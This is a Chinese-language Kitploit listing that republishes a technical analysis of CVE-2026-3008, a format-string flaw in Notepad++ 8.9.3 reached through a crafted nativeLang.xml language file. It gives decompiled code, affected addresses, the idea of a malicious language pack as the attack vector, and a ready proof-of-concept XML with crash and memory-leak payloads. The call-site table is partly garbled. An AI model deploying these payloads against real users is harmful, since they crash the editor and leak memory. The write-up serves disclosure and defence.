Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-3008 — CVE-2026-3008 的技术分析与概念验证,该漏洞为 Notepad++ 8.9.3 中通过 nativeLang.xml 触发的格式字符串注入,可导致拒绝服务与信息泄露。 | Kitploit
工具/GitHubGitHub/llgsjsm/cve-2026-3008
漏洞分析漏洞利用Web安全恶意软件分析二进制分析
GitHubllgsjsm/cve-2026-3008

CVE-2026-3008

CVE-2026-3008 的技术分析与概念验证,该漏洞为 Notepad++ 8.9.3 中通过 nativeLang.xml 触发的格式字符串注入,可导致拒绝服务与信息泄露。

查看仓库
54个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
网站
分享

CVE-2026-3008 — Notepad++ 8.9.3 通过 nativeLang.xml 注入格式字符串

漏洞描述

当搜索操作产生结果时,sub_1400916C0 通过从 nativeLang.xml 中检索本地化字符串并将其直接作为格式字符串传递给 wsprintfW 来格式化命中计数标签:

root@kitploit:~
sub_140099E60(v37, v51, *(unsigned int *)(a1 + 196));  // 获取本地化字符串
v38 = (const WCHAR *)v51;
if ( v53 > 7 )
    v38 = v51[0];                                       // SSO:堆指针
wsprintfW((LPWSTR)(a1 + 0xC8), v38);                   // v38 是格式字符串

该字符串来源于 nativeLang.xml 中的 <find-result-hits> 属性,在数据流的任何环节均未经过验证:

root@kitploit:~
nativeLang.xml
  → TinyXML 解析器          (读取 XML 属性,无内容验证)
  → NativeLangSpeaker       (UTF-8 → UTF-16 转换,无验证)
  → sub_140099E60           ($INT_REPLACE$ 替换 — 格式说明符得以保留)
  → wsprintfW(buf, v38)     (v38 被用作格式字符串参数,而非数据)

wsprintfW 仅以两个参数被调用 — 没有可变参数数据参数。v38 中的任何格式说明符都会从 x64 调用约定的参数槽(R8、R9、栈)中读取值,而这些位置包含残留的寄存器垃圾数据。


受影响组件

字段值
函数sub_1400916C0(查找结果面板初始化器)
汇点地址0x140091E6D
触发条件任何产生结果的搜索(全部查找、在文件中查找、全部标记、全部替换)

sub_1400916C0 从 FindResults WndProc(sub_140089BF0)中的四个位置被调用:

地址触发条件
0x14008B63B在文件中查找
0x14008B72D在当前文档/所有文档中全部查找
0x14008B97E全部替换

影响

崩溃 — %s(拒绝服务)

root@kitploit:~
<find-result-hits value="%s%s%s%s%s%s%s%s"/>

每个 %s 都将一个垃圾寄存器或栈值解释为 WCHAR* 指针。第一个无效地址会立即触发访问冲突(STATUS_ACCESS_VIOLATION,0xC0000005)。在恶意文件被移除之前,Notepad++ 会在每次后续搜索时崩溃 — 可靠的一次性拒绝服务攻击。

信息泄露 — %08lx

root@kitploit:~
<find-result-hits value="%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx"/>

栈和寄存器内容被作为 DWORD 值读取并格式化为十六进制,显示在查找结果面板标签中。实测观察到的输出:

root@kitploit:~
8000c.d.5852bb18.0.1f8.61e.e0702.7b1052e0

诸如 5852bb18 和 7b1052e0 之类的值是截断的 64 位指针片段。

利用上限

wsprintfW(user32.dll)不支持 %n — 不存在任意写原语。其硬编码的 1024 字符输出限制与目标缓冲区大小完全一致,排除了堆缓冲区溢出的可能性。该漏洞被确认为拒绝服务 + 信息泄露。仅凭此格式字符串无法实现代码执行。


攻击向量

nativeLang.xml 默认不存在 — 英文版安装不受影响。当用户通过 设置 → 首选项 → 常规 → 本地化 选择非英语语言时,Notepad++ 会将相应文件写入:

版本路径
安装版%APPDATA%\Notepad++\nativeLang.xml
便携版<npp_directory>\nativeLang.xml

在随附的 94 个本地化文件中,43 个包含 <find-result-hits> 元素。如果这些语言用户的 nativeLang.xml 被篡改 — 例如通过论坛或下载站点分发的恶意社区语言包 — 则他们容易受到攻击。攻击者可以为所有其他字符串包含合法的翻译,使该文件看起来正常。


概念验证

将以下文件放置在 <npp_directory>\nativeLang.xml(便携版)或 %APPDATA%\Notepad++\nativeLang.xml(安装版),然后打开 Notepad++ 并执行任何产生结果的搜索(Ctrl+F → 在当前文档中全部查找)。

root@kitploit:~
<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
    <Native-Langue name="PoC" filename="poc.xml" version="8.9.3">
        <Menu><Main></Main></Menu>
        <MiscStrings>
            <find-result-hits value="%s%s%s%s%s%s%s%s"/>
        </MiscStrings>
    </Native-Langue>
</NotepadPlus>

结果: Notepad++ 在 wsprintfW 中因访问冲突立即崩溃。

其他载荷变体位于 payloads/ 目录中。

下载工具
0x14008B9FE
全部标记